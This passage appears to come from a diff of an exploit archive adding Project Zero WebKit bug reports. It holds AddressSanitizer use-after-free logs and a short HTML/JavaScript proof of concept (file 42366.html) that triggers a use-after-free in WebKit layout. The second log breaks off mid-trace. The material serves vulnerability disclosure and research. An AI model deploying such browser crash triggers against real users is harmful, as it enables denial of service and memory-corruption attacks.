#18 0x105ec5689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#19 0x105ec4ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#20 0x105765683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
#21 0x10550f3b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5)
|
||||||
|
#22 0x105518888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888)
|
||||||
|
#23 0x1162c0312 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03312)
|
||||||
|
#24 0x1162c0d41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41)
|
||||||
|
#25 0x7fffd2f753c0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa73c0)
|
||||||
|
#26 0x7fffd2f562cc in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x882cc)
|
||||||
|
#27 0x7fffd2f557c5 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x877c5)
|
||||||
|
#28 0x7fffd2f551c3 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871c3)
|
||||||
|
#29 0x7fffd24b6ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
|
||||||
|
#30 0x7fffd24b6cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
|
||||||
|
#31 0x7fffd24b6b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
|
||||||
|
#32 0x7fffd0a51e23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23)
|
||||||
|
#33 0x7fffd11cd85d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d)
|
||||||
|
#34 0x7fffd0a467aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa)
|
||||||
|
#35 0x7fffd0a111dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd)
|
||||||
|
#36 0x7fffe89118c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
|
||||||
|
#37 0x7fffe89102e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
|
||||||
|
#38 0x10316c56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
|
||||||
|
#39 0x7fffe86b8234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)
|
||||||
|
|
||||||
|
0x608000090ac8 is located 40 bytes inside of 96-byte region [0x608000090aa0,0x608000090b00)
|
||||||
|
freed by thread T0 here:
|
||||||
|
#0 0x1031d4294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
|
||||||
|
#1 0x116307f30 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c4af30)
|
||||||
|
#2 0x10a79d874 in WebCore::RenderBlock::createFirstLetterRenderer(WebCore::RenderElement*, WebCore::RenderText*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23ec874)
|
||||||
|
#3 0x10a79e15a in WebCore::RenderBlock::updateFirstLetter(WebCore::RenderBlock::RenderTreeMutationIsAllowed) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23ed15a)
|
||||||
|
#4 0x10a783761 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23d2761)
|
||||||
|
#5 0x10a80333f in WebCore::RenderBlockFlow::layoutLineBoxes(bool, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x245233f)
|
||||||
|
#6 0x10a7ca957 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2419957)
|
||||||
|
#7 0x10a7837d7 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23d27d7)
|
||||||
|
#8 0x10a7cfd9c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241ed9c)
|
||||||
|
#9 0x10a7cc522 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241b522)
|
||||||
|
#10 0x10a7ca962 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2419962)
|
||||||
|
#11 0x10a7837d7 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23d27d7)
|
||||||
|
#12 0x10a7cfd9c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241ed9c)
|
||||||
|
#13 0x10a7cc522 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241b522)
|
||||||
|
#14 0x10a7ca962 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2419962)
|
||||||
|
#15 0x10a7837d7 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23d27d7)
|
||||||
|
#16 0x10a7cfd9c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241ed9c)
|
||||||
|
#17 0x10a7cc522 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241b522)
|
||||||
|
#18 0x10a7ca962 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2419962)
|
||||||
|
#19 0x10a7837d7 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23d27d7)
|
||||||
|
#20 0x10a7cfd9c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241ed9c)
|
||||||
|
#21 0x10a7cc522 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241b522)
|
||||||
|
#22 0x10a7ca962 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2419962)
|
||||||
|
#23 0x10a7837d7 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23d27d7)
|
||||||
|
#24 0x10ab8536d in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d436d)
|
||||||
|
#25 0x10ab85b74 in WebCore::RenderView::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d4b74)
|
||||||
|
#26 0x108f00943 in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4f943)
|
||||||
|
#27 0x108b1a1d0 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7691d0)
|
||||||
|
#28 0x108b207b2 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f7b2)
|
||||||
|
#29 0x108cd3b21 in WebCore::Element::innerText() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x922b21)
|
||||||
|
|
||||||
|
previously allocated by thread T0 here:
|
||||||
|
#0 0x1031d3d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
|
||||||
|
#1 0x7fffe883a281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
|
||||||
|
#2 0x116311ae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4)
|
||||||
|
#3 0x116306c4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d)
|
||||||
|
#4 0x11629c437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437)
|
||||||
|
#5 0x11629b768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768)
|
||||||
|
#6 0x1085bb548 in WebCore::RenderObject::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20a548)
|
||||||
|
#7 0x10b157c4d in WebCore::RenderPtr<WebCore::RenderText> WebCore::createRenderer<WebCore::RenderText, WebCore::Text&, WTF::String const&>(WebCore::Text&&&, WTF::String const&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2da6c4d)
|
||||||
|
#8 0x10b157aae in WebCore::Text::createTextRenderer(WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2da6aae)
|
||||||
|
#9 0x10ab7d6a4 in WebCore::createTextRenderer(WebCore::Text&, WebCore::RenderTreePosition&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cc6a4)
|
||||||
|
#10 0x10ab7b057 in WebCore::RenderTreeUpdater::updateTextRenderer(WebCore::Text&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27ca057)
|
||||||
|
#11 0x10ab7abfa in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c9bfa)
|
||||||
|
#12 0x10ab7a47b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c947b)
|
||||||
|
#13 0x108b1f7e9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76e7e9)
|
||||||
|
#14 0x108b20287 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f287)
|
||||||
|
#15 0x108ec59ce in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb149ce)
|
||||||
|
#16 0x108ec2d0c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb11d0c)
|
||||||
|
#17 0x108b3e493 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d493)
|
||||||
|
#18 0x1090b25c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0)
|
||||||
|
#19 0x108bdd093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093)
|
||||||
|
#20 0x108b9c386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#21 0x10862b997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#22 0x1086252aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#23 0x10afacc41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#24 0x105ec22eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#25 0x105ec5689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#26 0x105ec4ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#27 0x105765683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
#28 0x10550f3b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5)
|
||||||
|
#29 0x105518888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888)
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x6aa25) in WebCore::RenderObject::RenderObjectBitfields::hasLayer() const
|
||||||
|
Shadow bytes around the buggy address:
|
||||||
|
0x1c1000012100: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012110: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012120: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c1000012130: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c1000012140: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
=>0x1c1000012150: fa fa fa fa fd fd fd fd fd[fd]fd fd fd fd fd fd
|
||||||
|
0x1c1000012160: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012170: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012180: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c10000121a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||||
|
Addressable: 00
|
||||||
|
Partially addressable: 01 02 03 04 05 06 07
|
||||||
|
Heap left redzone: fa
|
||||||
|
Freed heap region: fd
|
||||||
|
Stack left redzone: f1
|
||||||
|
Stack mid redzone: f2
|
||||||
|
Stack right redzone: f3
|
||||||
|
Stack after return: f5
|
||||||
|
Stack use after scope: f8
|
||||||
|
Global redzone: f9
|
||||||
|
Global init order: f6
|
||||||
|
Poisoned by user: f7
|
||||||
|
Container overflow: fc
|
||||||
|
Array cookie: ac
|
||||||
|
Intra object redzone: bb
|
||||||
|
ASan internal: fe
|
||||||
|
Left alloca redzone: ca
|
||||||
|
Right alloca redzone: cb
|
||||||
|
==30692==ABORTING
|
||||||
|
-->
|
||||||
175
platforms/multiple/dos/42366.html
Executable file
175
platforms/multiple/dos/42366.html
Executable file
|
|
@ -0,0 +1,175 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1243
|
||||||
|
|
||||||
|
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
|
||||||
|
|
||||||
|
PoC (note that you might need to refresh a page a couple of times to trigger the bug):
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
|
|
||||||
|
<style>
|
||||||
|
* { -webkit-flow-into: textarea; }
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
function freememory() {
|
||||||
|
var a;
|
||||||
|
for(var i=0;i<100;i++) {
|
||||||
|
a = new Uint8Array(1024*1024);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function go() {
|
||||||
|
details.open = true;
|
||||||
|
var o = document.createElement("object");
|
||||||
|
o.setAttribute("height", "1");
|
||||||
|
details.open = false;
|
||||||
|
div.innerHTML = "foo";
|
||||||
|
freememory();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<body onload=go()>
|
||||||
|
<div id="div">
|
||||||
|
<details id="details">
|
||||||
|
<div>foo</div>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
=================================================================
|
||||||
|
|
||||||
|
ASan log:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
==29717==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000053b34 at pc 0x000111e799da bp 0x7fff54316880 sp 0x7fff54316878
|
||||||
|
READ of size 4 at 0x608000053b34 thread T0
|
||||||
|
==29717==WARNING: invalid path to external symbolizer!
|
||||||
|
==29717==WARNING: Failed to use and restart external symbolizer!
|
||||||
|
#0 0x111e799d9 in WebCore::Node::getFlag(WebCore::Node::NodeFlags) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89d9)
|
||||||
|
#1 0x111e7d951 in WebCore::Node::hasTagName(WebCore::HTMLQualifiedName const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc951)
|
||||||
|
#2 0x111ed2c49 in WebCore::RenderObject::isHR() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x61c49)
|
||||||
|
#3 0x114308239 in WebCore::RenderBox::avoidsFloats() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2497239)
|
||||||
|
#4 0x11425511d in WebCore::RenderBlock::avoidsFloats() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23e411d)
|
||||||
|
#5 0x11428fb94 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241eb94)
|
||||||
|
#6 0x11428c522 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x241b522)
|
||||||
|
#7 0x11428a962 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2419962)
|
||||||
|
#8 0x1142437d7 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23d27d7)
|
||||||
|
#9 0x11438a745 in WebCore::RenderFlowThread::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2519745)
|
||||||
|
#10 0x1144cb70d in WebCore::RenderNamedFlowThread::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x265a70d)
|
||||||
|
#11 0x11289a737 in WebCore::FlowThreadController::layoutRenderNamedFlowThreads() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xa29737)
|
||||||
|
#12 0x114645b74 in WebCore::RenderView::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d4b74)
|
||||||
|
#13 0x1129c0943 in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4f943)
|
||||||
|
#14 0x1129d7530 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb66530)
|
||||||
|
#15 0x10be4d411 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x548411)
|
||||||
|
#16 0x113df7bbe in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1f86bbe)
|
||||||
|
#17 0x7fffd2f74dd6 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6dd6)
|
||||||
|
#18 0x7fffd2f74d46 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d46)
|
||||||
|
#19 0x7fffd2f551e5 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871e5)
|
||||||
|
#20 0x7fffd24b6ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
|
||||||
|
#21 0x7fffd24b6cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
|
||||||
|
#22 0x7fffd24b6b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
|
||||||
|
#23 0x7fffd0a51e23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23)
|
||||||
|
#24 0x7fffd11cd85d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d)
|
||||||
|
#25 0x7fffd0a467aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa)
|
||||||
|
#26 0x7fffd0a111dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd)
|
||||||
|
#27 0x7fffe89118c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
|
||||||
|
#28 0x7fffe89102e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
|
||||||
|
#29 0x10b8e856c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
|
||||||
|
#30 0x7fffe86b8234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)
|
||||||
|
|
||||||
|
0x608000053b34 is located 20 bytes inside of 96-byte region [0x608000053b20,0x608000053b80)
|
||||||
|
freed by thread T0 here:
|
||||||
|
#0 0x10e8d9294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
|
||||||
|
#1 0x11e466f30 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c4af30)
|
||||||
|
